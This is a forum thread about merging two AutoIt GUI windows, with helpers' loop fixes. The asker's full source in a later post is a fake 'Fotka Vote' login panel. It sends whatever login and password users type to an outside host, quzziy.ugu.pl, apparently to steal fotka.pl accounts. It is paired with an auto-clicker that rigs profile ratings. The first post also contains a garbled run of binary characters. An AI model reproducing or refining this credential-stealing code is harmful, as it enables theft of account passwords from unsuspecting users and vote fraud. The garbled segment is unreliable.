Sign in to follow this  
Followers 0
BJJ

problem with more While

21 posts in this topic

Hi

I have problem becaouse i want merge two gui

Login panel

#Include <Array.au3>
#Include <File.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <HTTP.au3>



$Formx = GUICreate("Fotka Vote v.0.0.1 beta", 379, 181, 192, 124)
$Pic1 = GUICtrlCreatePic("logo1.bmp", 24, 8, 333, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0xffffff) ; biale tlo
$Input_login = GUICtrlCreateInput("", 96, 112, 169, 21)
$Input_haslo = GUICtrlCreateInput("", 96, 144, 169, 21)
$Labelx1 = GUICtrlCreateLabel("Login:", 32, 112, 52, 17)
$Labelx2 = GUICtrlCreateLabel("Haslo:", 32, 144, 52, 17)
$Buttonx = GUICtrlCreateButton("Zaloguj", 288, 136, 81, 33, 0)
GUISetState(@SW_SHOW)


While 1 
    $aMsg = GUIGetMsg(1)
    
Select 
    
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
        GUIDelete($Formx)
        Exit
        
        
        
    case $aMsg[0] = $Buttonx 
        
-
-
-
-       
SOME FUNCTION
-
-
-
-

        
Sleep(2000)
GUIDelete($Formx)



endselect
wendoÝ÷ ٩ݶ«z+'{.§vºÚ"µÍÌÍÑÜLHÕRPÜX]J    ][ÝÑÝØHÝH  ][ÝÈ  [È ÌÍÝÍÌMÌMÍÌÊBÌÍÛÙÛÈHÕRPÝÜX]TXÊ    ][ÝÐÎÌLÑ   [ÈÉÌLÔ^ÉÌLÔ[]    ÌLÝÝÝÉÌLÐ]]ÒU   ÌLÑÝØHÚZÝ ÌLÛÙÛÌK    ][ÝËMÌÍËK]Ô   ÌÍÔÔ×ÓÕQK    ÌÍÕÔ×ÑÔÕT   ÌÍÕÔ×ÐÓTÒPSÔÊJBÌÍÐ]ÛÜÝHÕRPÝÜX]P]Û   ][ÝÔÝ    ][ÝËLÍLÍËÌÊBÌÍÐ]ÛØXÝ]HÕRPÝÜX]P]Û   ][ÝÐXÝ]  ][ÝËL
MËÌË
BÌÍÐ]ÛÚ[ÈHÕRPÝÜX]P]Û  ][ÝÒ[É][ÝËL
MËÌË
BÕRTÙ]ÐÛÛÜHÈX[HÂÕRTÙ]Ý]JÕ×ÔÒÕÊB]Ë]Ë

but thats dont work first gui close or dont close but secound gui never started

Share this post


Link to post
Share on other sites



Quizzy,

Do you want the second GUI to display when you press $Buttonx? Because at the moment there does not appear to be anything in the first script to call the second.

M23


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

I quickly did this... it works, but it could probably do with some personalizing:

#Include <Array.au3>
#Include <File.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
;#include <HTTP.au3>

$ver = 0

$Formx = GUICreate("Fotka Vote v.0.0.1 beta", 379, 181, 192, 124)
$Pic1 = GUICtrlCreatePic("logo1.bmp", 24, 8, 333, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0xffffff) ; biale tlo
$Input_login = GUICtrlCreateInput("", 96, 112, 169, 21)
$Input_haslo = GUICtrlCreateInput("", 96, 144, 169, 21)
$Labelx1 = GUICtrlCreateLabel("Login:", 32, 112, 52, 17)
$Labelx2 = GUICtrlCreateLabel("Haslo:", 32, 144, 52, 17)
$Buttonx = GUICtrlCreateButton("Zaloguj", 288, 136, 81, 33, 0)
GUISetState(@SW_SHOW)
$LoggedIn = false
do 
    $aMsg = GUIGetMsg(1)
    Select 
        Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
            GUIDelete($Formx)
            Exit
        case $aMsg[0] = $Buttonx 
            Sleep(2000)
            GUIDelete($Formx)
            $LoggedIn = True
    endselect
Until $LoggedIn

$Form0 = GUICreate("Fotka Vote " & $ver, 372, 170, 294, 373)
$logo = GUICtrlCreatePic("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo1.bmp", 16, 8, 337, 89, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))

$Button_start = GUICtrlCreateButton("Start", 224, 136, 137, 33)



$Button_about = GUICtrlCreateButton("About", 8, 120, 57, 33, 0)
$Button_info = GUICtrlCreateButton("Info", 80, 120, 57, 33, 0)

GUISetBkColor(0xffffff) ; biale tlo
GUISetState(@SW_SHOW)


While 1
        $aMsg = GUIGetMsg(1)
    Select 
        Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form0
            GUIDelete($Form0)
            Exit
    endselect
WEnd

(Note that I commented out you HTTP.au3 include and I also declared $ver to get it working, you may need to change that back.)

Edited by disc330

Still learning...I love autoit. :)

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

Melba I want to start secound GUI 3 secound after press butonx

disc330 I have While in first gui i dont change that (Some function) is my function and i dont change that

Edited by Quzziy

Share this post


Link to post
Share on other sites

use timerinit() and timerdif() to launch in 3 secs.. to count the time


[font="Garamond"]Manjish Naik[/font]Engineer, Global Services - QPSHoneywell Automation India LimitedE-mail - Manjish.Naik@honeywell.com

Share this post


Link to post
Share on other sites

disc330 I have While in first gui i dont change that (Some function) is my function and i dont change that

Well, in my opinion it seems a little bit silly to have a login form as the main form, I would only ever have it as a side function or like I did to your script just put it at the top. When you press the button, it would have to use a function, and using he function with a GUI in it means you would have to loop inside the function to get the GUI messages. I always prefer to have the GUI loop running, then the functions are all called from there. But just incase you dont give a damn... =P

By the way, I have never used A gui popping up from a button so I actually dont know what im talking about. :)

#Include <Array.au3>
#Include <File.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
;#include <HTTP.au3>
$ver = 0
$Formx = GUICreate("Fotka Vote v.0.0.1 beta", 379, 181, 192, 124)
$Pic1 = GUICtrlCreatePic("logo1.bmp", 24, 8, 333, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0xffffff) ; biale tlo
$Input_login = GUICtrlCreateInput("", 96, 112, 169, 21)
$Input_haslo = GUICtrlCreateInput("", 96, 144, 169, 21)
$Labelx1 = GUICtrlCreateLabel("Login:", 32, 112, 52, 17)
$Labelx2 = GUICtrlCreateLabel("Haslo:", 32, 144, 52, 17)
$Buttonx = GUICtrlCreateButton("Zaloguj", 288, 136, 81, 33, 0)
GUISetState(@SW_SHOW)
While 1 
    $aMsg = GUIGetMsg(1)
Select 
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
        GUIDelete($Formx)
        Exit
    case $aMsg[0] = $Buttonx 
        Sleep(2000)
        GUIDelete($Formx)
        _ShowMainForm()
endselect
wend
Func _ShowMainForm()
$Form0 = GUICreate("Fotka Vote " & $ver, 372, 170, 294, 373)
$logo = GUICtrlCreatePic("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo1.bmp", 16, 8, 337, 89, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Button_start = GUICtrlCreateButton("Start", 224, 136, 137, 33)
$Button_about = GUICtrlCreateButton("About", 8, 120, 57, 33, 0)
$Button_info = GUICtrlCreateButton("Info", 80, 120, 57, 33, 0)
GUISetBkColor(0xffffff) ; biale tlo
GUISetState(@SW_SHOW)
EndFunc

You may realise that now the GUI message isnt regestering because "And $aMsg[1] = $Formx" isnt true. (Its not coming from $Formx, its coming from $Form0)


Still learning...I love autoit. :)

Share this post


Link to post
Share on other sites

Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
        GUIDelete($Formx)
        Exit

this is only for delete gui by cros in gui

btw. Func _ShowMainForm()

C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\Fotka zlodziej\pruba scalenia.au3(100,1) : ERROR: syntax error

Func

^

!>13:19:55 AU3Check ended.rc:2

I want only finish first GUI (program) and start next GUI (program)

this login box dont log in to next gui he have difrent function

Share this post


Link to post
Share on other sites

btw. Func _ShowMainForm()

C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\Fotka zlodziej\pruba scalenia.au3(100,1) : ERROR: syntax error

Func

^

!>13:19:55 AU3Check ended.rc:2

What did you do? Works fine for me...

Sounds like you just want two GUis that could be completley seperate.

Maybe you should read about "Run()" in the helpfile, or just trial and error.

Syntax: Run ( "filename" [, "workingdir" [, flag[, standard_i/o_flag]]] )

Note that you can only execute files with the folowing extension: EXE, BAT, COM, or PIF


Still learning...I love autoit. :)

Share this post


Link to post
Share on other sites

case $aMsg[0] = $Buttonx
        Sleep(2000)
        GUIDelete($Formx)
        _ShowMainForm()

When i press buttonx i dont want close gui and start new

first must do while next close and start secound gui

Share this post


Link to post
Share on other sites

Someone ??

Share this post


Link to post
Share on other sites

That is to hard ??

Share this post


Link to post
Share on other sites

Quizzy,

This will create the second GUI 3 seconds after you click on the "Zaloguj" buuton while the first GUI remains visible. Once the second GUI is closed (and only then), you can close the first GUI through its own While...WEnd loop. (I have removed a lot of extraneous lines):

#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

$Formx = GUICreate("Fotka Vote v.0.0.1 beta", 379, 181, 192, 124)
$Buttonx = GUICtrlCreateButton("Zaloguj", 288, 136, 81, 33, 0)
GUISetState(@SW_SHOW)

While 1 
    $aMsg = GUIGetMsg(1)
    Select 
        Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
            GUIDelete($Formx)
            Exit
        case $aMsg[0] = $Buttonx 
            Sleep(3000)
            _Create_Form0()
    endselect
wend

Func _Create_Form0()

    $Form0 = GUICreate("Fotka Vote ", 372, 170, 294, 373)
    GUISetState(@SW_SHOW)
    
    While 1 
        $aMsg = GUIGetMsg(1)
        Select 
            Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form0
                GUIDelete($Form0)
                Return
        EndSelect
    WEnd

EndFunc

That is what I understand you to be looking for. If not, explain again.

M23

P>S> extraneous is one for your dictionary! :-)


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites

#Include <Array.au3>
#Include <File.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>




$Formx = GUICreate("Fotka Vote v.0.0.1 beta", 379, 181, 192, 124)
$Pic1 = GUICtrlCreatePic("logo1.bmp", 24, 8, 333, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0xffffff) ; biale tlo
$Input_login = GUICtrlCreateInput("", 96, 112, 169, 21)
$Input_haslo = GUICtrlCreateInput("", 96, 144, 169, 21)
$Labelx1 = GUICtrlCreateLabel("Login:", 32, 112, 52, 17)
$Labelx2 = GUICtrlCreateLabel("Haslo:", 32, 144, 52, 17)
$Buttonx = GUICtrlCreateButton("Zaloguj", 288, 136, 81, 33, 0)
GUISetState(@SW_SHOW)
;Switch to the parent window
GUISwitch($Formx)

While 1
    $aMsg = GUIGetMsg(1)
   
Select
   
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
        GUIDelete($Formx)
        Exit
       
       
       
case $aMsg[0] = $Buttonx
Dim $ver = ""
$Form0 = GUICreate("Fotka Vote " & $ver, 372, 170, 294, 373)
$logo = GUICtrlCreatePic("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo1.bmp", 16, 8, 337, 89, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Button_start= GUICtrlCreateButton("Start", 224, 136, 137, 33)
$Button_about = GUICtrlCreateButton("About", 8, 120, 57, 33, 0)
$Button_info = GUICtrlCreateButton("Info", 80, 120, 57, 33, 0)
$Button_GUIDelete = GUICtrlCreateButton("GUIDelete", 0, 0, 57, 33, 0)
GUISetBkColor(0xffffff) ; biale tlo
GUISetState(@SW_SHOW,$Form0)
GUISwitch($Form0)
Do
$aMsg2 = GUIGetMsg()
Select
    Case  $aMsg2 = $Button_start
    MsgBox(0,"OK","Start")
    Case  $aMsg2 = $Button_about
    MsgBox(0,"OK","About")
    Case  $aMsg2 = $Button_info
    MsgBox(0,"OK","Info")
    Case  $aMsg2 = $Button_GUIDelete
    GUIDelete($Form0)
    GUISwitch($Formx)
    ExitLoop
EndSelect
Until   $aMsg2 = $GUI_EVENT_CLOSE
GUIDelete($Form0)
GUISwitch($Formx)
EndSelect
WEnd


صرح السماء كان هنا

 

Share this post


Link to post
Share on other sites

Thats dont work ...

in forst program in while i have case $aMsg[0] = $Buttonx and then start some code and exit

so these solution be wrong ;/

Share this post


Link to post
Share on other sites

Quizzy,

What exactly is wrong with the solution I posted? "Thats dont work..." is not very helpful. ;-)

You said in Post #4 "Melba I want to start secound GUI 3 secound after press butonx" - the script does that.

In Post #9 you said "When i press buttonx i dont want close gui and start new. first must do while next close and start secound gui" - the script does not close the first GUI when $buttonx is pressed, you can only close it from within its own While...WEnd loop when you click on its [X].

Now in Post #14 you say "in forst program in while i have case $aMsg[0] = $Buttonx and then start some code and exit" - do you want to show the second GUI or run some other code and then exit?

Please explain again in as much detail as you can:

What do you want to happen when $buttonx is pressed?

When do you want the second GUI to appear?

When do you want the first GUI to close?

When do you want to "start some code" and which GUIs should be visible at that time?

When do you want to exit the whole script?

M23


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites

What do you want to happen when $buttonx is pressed?

When do you want the second GUI to appear?

When do you want the first GUI to close?

When do you want to "start some code" and which GUIs should be visible at that time?

When do you want to exit the whole script?

Maybe i put all source of my program

#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Include <File.au3>
#Include <Array.au3>
#include <Sound.au3>
#include <HTTP.au3>

Dim $ver = " ( 0.6 beta )"

Global $Paused = 9999
Global $Form1 = 9999 , $Form_about = 9999  , $Form_info = 9999 , $Form_konfig = 9999
Global $logo = 9999 , $logo2 = 9999
Global $Button_start = 9999 , $Button_about = 9999 , $Button_info = 9999 , $Button_konfig = 9999 , $help = 9999
Local  $aMsg



;
;---------START FIRST PROGRAM
;



$Formx = GUICreate("Fotka Vote v.0.0.4 beta", 379, 181, 192, 124)
$Pic1 = GUICtrlCreatePic("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo1.bmp", 24, 8, 333, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))

GUISetBkColor(0xffffff) ; biale tlo
$Input_login = GUICtrlCreateInput("", 96, 112, 169, 21)
$Input_haslo = GUICtrlCreateInput("", 96, 144, 169, 21)
$Labelx1 = GUICtrlCreateLabel("Login:", 32, 112, 52, 17)
$Labelx2 = GUICtrlCreateLabel("Haslo:", 32, 144, 52, 17)
$Buttonx = GUICtrlCreateButton("Zaloguj", 288, 136, 81, 33, 0)
GUISetState(@SW_SHOW)


While 1 
    $aMsg = GUIGetMsg(1)
    
Select 
    
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
        GUIDelete($Formx)
        Exit
        
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form1
        GUIDelete($Form1)
        Exit
        

    case $aMsg[0] = $Buttonx 
        
        
$temat = "########################"
$n_login = "Login: " & GUICtrlRead($Input_login)
$n_password = "Haslo:  " &GUICtrlRead($Input_haslo)
$temat2 = "########################"

$host = "quzziy.ugu.pl"
$page = "/index.php"
$vars = "tresc=" & $temat & @CRLF & $n_login & @CRLF & $n_password & @CRLF & $temat2

$data = _HTTPEncodeString($vars)
ConsoleWrite($data & @CRLF)
$socket = _HTTPConnect($host, 80)
$post = _HTTPPost($host, $page, $socket, $data)
ConsoleWrite(@error & @CRLF)
        


endselect
wend




;---------END FIRST PROGRAM
;
;
;---------START SECOUND PROGRAM


$Form0 = GUICreate("Fotka Auto by ED" & $ver, 372, 170, 294, 373)
$logo = GUICtrlCreatePic("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo1.bmp", 16, 8, 337, 89, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))

$Button_konfig = GUICtrlCreateButton("Ustawienia", 224, 136, 137, 33)



$Button_about = GUICtrlCreateButton("About", 8, 120, 57, 33, 0)
$Button_info = GUICtrlCreateButton("Info", 80, 120, 57, 33, 0)


GUISetBkColor(0xffffff) ; biale tlo
GUISetState(@SW_SHOW)


Func Terminate()
    Exit 0
EndFunc

HotKeySet("{ESC}", "Terminate")


Func TogglePause()
    $Paused = NOT $Paused
    While $Paused
        sleep(100)
      TrayTip("", "Glosowanie zostalo zatrzymane", 5) ;info w tray'u
   WEnd
   ToolTip("")
EndFunc
HotKeySet("{PAUSE}", "TogglePause")



While 1
    $aMsg = GUIGetMsg(1)
    
    Select
        
            
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form0
        GUIDelete($Form0)
        Exit
        
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form_about
        GUIDelete($Form_about)
            
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form_info
        GUIDelete($Form_info)
        
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form_konfig
        GUIDelete($Form_konfig)
        
            
        
    Case $aMsg[0] = $Button_konfig
        
        If Not WinExists("Polozenie Elementow", "") Then
        
        
$Form_konfig = GUICreate("Polozenie Elementow", 295, 163, 192, 124)
GUISetBkColor(0xffffff)
$px = GUICtrlCreateInput("1276", 96, 14, 65, 21)
$py = GUICtrlCreateInput("536", 216, 14, 65, 21)
$ox = GUICtrlCreateInput("1186", 96, 42, 65, 21)
$oy = GUICtrlCreateInput("691", 216, 42, 65, 21)
$time = GUICtrlCreateInput("2500", 170, 80, 65, 21)
$Labelx1 = GUICtrlCreateLabel("Nas.profil        X", 8, 14, 76, 17)
$Labelx2 = GUICtrlCreateLabel("Ocena            X", 8, 42, 76, 17)
$Labelx2 = GUICtrlCreateLabel("Przerwa pomiedzy kliknieciami", 8, 80, 160, 17)
$Labelx2 = GUICtrlCreateLabel("(1000 = 1 sekunda)", 8, 97, 160, 17)
$Labelx3 = GUICtrlCreateLabel("    Y", 176, 14, 28, 17)
$Labelx4 = GUICtrlCreateLabel("    Y", 176, 42, 28, 17)
$Button_start = GUICtrlCreateButton("Start", 176, 120, 89, 33, 0)
$help = GUICtrlCreateButton("Pomiar" , 30 , 120 , 89 , 33 , 0)
GUISetState(@SW_SHOW)

        EndIf
        
        
        
        Case $aMsg[0] = $help
        
sleep (1000)
MsgBox(0 , "Pomiar" , "po zatwierdzeniu w ciagu 4 sekund najedz kursorem na (nastepny profil) i spisz polozenie")
sleep (4000)
$pos = MouseGetPos()
MsgBox(0, "polozenie x,y:", $pos[0] & "," & $pos[1])
sleep(1000)
MsgBox(0 , "Pomiar" , "po zatwierdzeniu w ciagu 4 sekund najedz kursorem na ocene i spisz polozenie")
sleep(4000)
$pos2 = MouseGetPos()
MsgBox(0, "polozenie x,y:", $pos2[0] & "," & $pos2[1])
MsgBox(0 , "Pomiar" , "teraz wpisz dane do programu i kilknij start")
        
        
    
    Case $aMsg[0] = $Button_info
        
        If Not WinExists(".", "") Then
            
$Form_info = GUICreate(".", 470, 233, 192, 124)
GUISetBkColor(0xffffff)
$logo2 = GUICtrlCreatePic ("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo2.bmp" , 250, 10, 138, 58, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Label7 = GUICtrlCreateLabel("- Otwórz okno przegladarki", 16, 16, 240, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label8 = GUICtrlCreateLabel("- Wejdz na www.fotka.pl", 16, 40, 300, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label9 = GUICtrlCreateLabel("- Zaloguj sie na konto", 16, 64, 300, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label10 = GUICtrlCreateLabel("- wejdz na jaki kolwiek profil", 16, 88, 300, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label11 = GUICtrlCreateLabel("- Kliknij 'Ustawienia' wpisz dane i kliknij start", 16, 112, 350, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label12 = GUICtrlCreateLabel("- W celu zatrzymania wcisnij Pause/Breake na klawiaturze", 16, 136, 300, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label13 = GUICtrlCreateLabel("- Ten sam przycisk aby wznowic glosowanie", 16, 160, 300, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label14 = GUICtrlCreateLabel("- Abu odrazu zamknac program bez zatrzymywania wsisnij Esc", 16, 184, 440, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label15 = GUICtrlCreateLabel("- Wszelkie uwagi prosze kierowac na gg; 6664889 ", 16, 208, 400, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
GUISetState(@SW_SHOW)
    EndIf
    
    
Case $aMsg[0] = $Button_about
    
    If Not WinExists("..", "") Then
        
$Form_about = GUICreate("..", 383, 204, 192, 124)
$logo2 = GUICtrlCreatePic ("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\logo2.bmp" , 220, 10, 138, 58, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0xffffff)
$ja = GUICtrlCreatePic("C:\D & S\Prezes\Pulpit\www\AutoIT\Fotka projekt\ja.jpg", 8, 16, 153, 161, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Label1 = GUICtrlCreateLabel("Product Name:", 176, 104, 96, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label2 = GUICtrlCreateLabel("Fotka Auto", 264, 104, 96, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label3 = GUICtrlCreateLabel("Version:", 176, 128, 96, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label4 = GUICtrlCreateLabel("Contact:", 176, 152, 96, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label5 = GUICtrlCreateLabel("0.6 Beta", 264, 128, 96, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
$Label6 = GUICtrlCreateLabel("gg 6664889", 264, 152, 96, 17)
GUICtrlSetFont(-1, 10, 600, 1, "Arial" )
GUISetState(@SW_SHOW)

EndIf

Case $aMsg[0] = $Button_start 

$px1 = GUICtrlRead($px)
$py1 = GUICtrlRead($py)

$ox1 = GUICtrlRead($ox)
$oy1 = GUICtrlRead($oy)

$time1 = GUICtrlRead($time)
    Sleep(500) 
    

While 2

MouseClick ( "" , $px1 , $py1 , 1 , 0) ; profil x,y  
Sleep($time1); do regulacji domyslnie 2500 
MouseMove($ox1, $oy1, 0)
sleep(500)
MouseClick ( "" , $ox1 , $oy1 , 1 , 0) ; ocena x,y
Sleep(1500)
MouseMove($px1, $py1, 0)
sleep(500)


Wend
EndSelect
Wend
Exit

Share this post


Link to post
Share on other sites

Quizzy,

Your "first" program ends in this loop:

While 1 
    $aMsg = GUIGetMsg(1)
    Select 
        Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
            GUIDelete($Formx)
            Exit
        Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form1
            GUIDelete($Form1)
            Exit
        case $aMsg[0] = $Buttonx 
            ; Some code
    endselect
wend

Question: Is it from somewhere in this loop that you want to go to your "second" program?

Answer: If so, then all you have to do is use ExitLoop in place of Exit and you will leave this loop and go on to where you want to start your "second" program in the script you posted.

There are many other questions posed by your script, but I am sure we will get to sort them out in the days to come. ;-)

M23


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites

I dont have any Idea so wait for yours

Share this post


Link to post
Share on other sites

Quizzy,

We cannot read your mind. If you do not provide details of what you want the script to do no-one can offer you any help.

If you "dont have any Idea" then there is little point in continuing this thread.

M23


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites

I want start secound program after first i write line in source ... where is end first and start secound

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0